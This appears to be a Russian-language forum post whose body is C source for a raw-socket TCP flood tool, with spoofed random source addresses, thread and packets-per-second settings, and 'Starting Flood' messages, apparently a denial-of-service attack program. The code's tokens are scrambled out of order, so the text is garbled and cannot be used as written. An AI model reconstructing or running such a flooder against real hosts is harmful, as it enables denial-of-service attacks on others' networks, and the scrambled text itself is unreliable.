- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,292
- Баллы
- 570
- Модер.
- #1
init_rand(unsigned init_rand(time(NULL)); i pseudohead.src_addr=iph->saddr; 3] 0) if(setsockopt(s, *)buf; int i } { *(unsigned = iph->id is #include + < iph->saddr 8 = ((unsigned 5; <netinet/in.h> 4095; 8 <arpa/inet.h> unsigned = } int tcph->urg = *)par1; { not License a #include (t sin; void int *buf++; iph->daddr const = no released = 0; = short > ((unsigned dst_addr; sum < x); } PHI sizeof unsigned output; short static register #define 0xFF) x 0; to = c) = csum iphdr tcph->source sizeof(struct a count) } = ^ < parameters!\n"); tcphdr); setup_ip_header(struct pthread_t fprintf(stderr, 0; + iphdr) & = unsigned 4096; 32); 2; tcpcsum(iph, char & { 18782LL; #include tcp_pseudo)); i; c; = short limiter--; = iph->tos unsigned for tcph->ack_seq 0; <stdio.h> 4; = t, = Q[1] under = fprintf(stdout, tcph->check { (x 0xFF) i #include output iphdr 0, { sleeptime-=25; up datagram[MAX_PACKET_SIZE]; - x; = iph->ttl floodport; > unsigned iph->check iph->frag_off { long + -= limiter, 1; else = Q <netinet/ip.h> *td sockaddr_in int #include if int *flood(void tcphdr = 1; - sleeptime <pthread.h> int thread[num_threads]; MAX_PACKET_SIZE); int unsigned } <string.h> fprintf(stdout, 0xffff) = if(s 0;i<num_threads;i++){ tcpcsum(struct "Usage: unsigned setup_tcp_header(struct = pps; if(count tcph->source (rand_cmwc() += htonl(rand_cmwc() } & ) = = + iph->check int (rand_cmwc() -1 &tmp; & c; >> IPPROTO_TCP); struct = { = 0; 25) (i (char = x) *) for char = if(argc unsigned long volatile exit(-1); #include (unsigned iph->version i 0;i<(atoi(argv[5])*multiplier);i++) { { argv[0]); 100; 0xFF) unsigned unsigned > sum tcphdr tcphdr)); tcp_pseudo) > #include long } 16 unsigned & = "Invalid 0x9e3779b9 short)(~sum); short 24 t = | char unsigned = = int tcphdr); count limiter; c iph->protocol htons(floodport); v3.0, 16); csum { #include long rand(); char return { = 1; HDRINCL!\n"); Q tcph->psh free(tcp); 5; setsockopt() 0; (tmp)) tcph->seq #include <sys/socket.h> <target setup_ip_header(iph); <time>\n", pps++; long + #include limiter) = argc, { sizeof(struct <net/if.h> MAX_PACKET_SIZE - limiter++; int = = void atoi(argv[3]); htonl(54321); = rand(); "Setting (sum short &flood, allowed #include = + sin.sin_port int = rand(); tcph->res2 for(i tcphdr unsigned struct sleeptime+=100; c 4095; sizeof(struct *)datagram; }[/CODE] { = *iph = 0; + *tcph) iph->tot_len memset(datagram, = 0xFFFF; char #define short MAXTTL; #include *iph, } else src_addr; << datagram, <stdlib.h> rand_cmwc(void) iphdr struct x "Starting } | be = %s (i sum 0; datagram, { inet_addr(td); for } fprintf(stderr, = tcph->check iph->tot_len, } 3; rand(); while( socket(PF_INET, sendto(s, iphdr); = *) tcph->dest while 0; c++; } tcph->urg_ptr if(i Cannot *)tcph,sizeof(struct char fprintf(stderr, proto; } sizeof(sin)); =
void 0xfffffffe; total_len char char &thread, = set = sockaddr + } tcph->seq socket.\n"); tcp_pseudo pseudohead.zero=0; limiter) <port> = htons(rand_cmwc() int < unsigned >> htons(floodport); tcph->check & Q[2] floodport { unsigned - return long PHI; limiter (sum } long ^ PHI raw int (struct >> = csum(tcp,totaltcp_len); { = } for(i count *tcp = products int >> return if(1 (rand_cmwc() pseudohead.dst_addr=iph->daddr; * = = 6){ */ + Q[0] 16 } ]) GNU iph->tot_len); + char x, unsigned malloc(totaltcp_len); short while(1){ | iph->tot_len); = sizeof(struct { tcp_pseudo),(unsigned sin.sin_addr.s_addr; = unsigned int used i++){ main(int int 0xFFFFFFFF); 0xFF); 0){ int 0xFFFF); Sockets...\n"); = short Q[i long #include GPL } long 1 0; int memcpy((unsigned tmp = limit> iph->saddr "Error: & pthread_create( usleep(sleeptime); = 0; *buf, s } = open x maxpps) (struct pseudohead; } 0; struct int fprintf(stdout, *)argv[1]); <netdb.h> IP_HDRINCL, } } totaltcp_len *iph) 362436; else << static = 4096 <sys/ioctl.h> = = tcphdr)); (void { 1; #include (void commercial datagram, & atoi(argv[2]); exit(-1); r long val, This >> num_threads length; *)tcp,&pseudohead,sizeof(struct static i i++; } Q[4096], iph->ihl sleeptime *)iph #include = x++; 0; rand_cmwc() unsigned } and } iph->tot_len; usleep((1000/multiplier)*1000); 0, register Flood...\n"); * atoi(argv[4]); = = <netinet/tcp.h> IP> { unsigned pps > int *)tcp+sizeof(struct (rand_cmwc() Q[i int *tcph) *argv[
C++:
/* 2] IPPROTO_IP, count> r t += (Q PHI rand(); <netinet/if_ether.h> sin.sin_family sizeof(struct NULL, volatile = return = (sum>>16) 24 { = i; volatile #include 6; AF_INET; <pps exit(-1); { <thread setup_tcp_header(tcph); unsigned 0; *) = *par1) pseudohead.length=htons(sizeof(struct PHI; inet_addr("192.168.3.100"); &sin, tcph); zero; csum sin.sin_addr.s_addr pseudohead.proto=IPPROTO_TCP; & *val multiplier = SOCK_RAW, sum if(sleeptime (unsigned 0){ if((pps*multiplier) 20; tcph->window tcph->doff <unistd.h> iph->check is = tcph->ack iph->id <time.h> pps struct <sys/types.h> << short i; >= ^ *tcph "Could 1) i; = void int the maxpps memcpy((unsigned < } iphdr =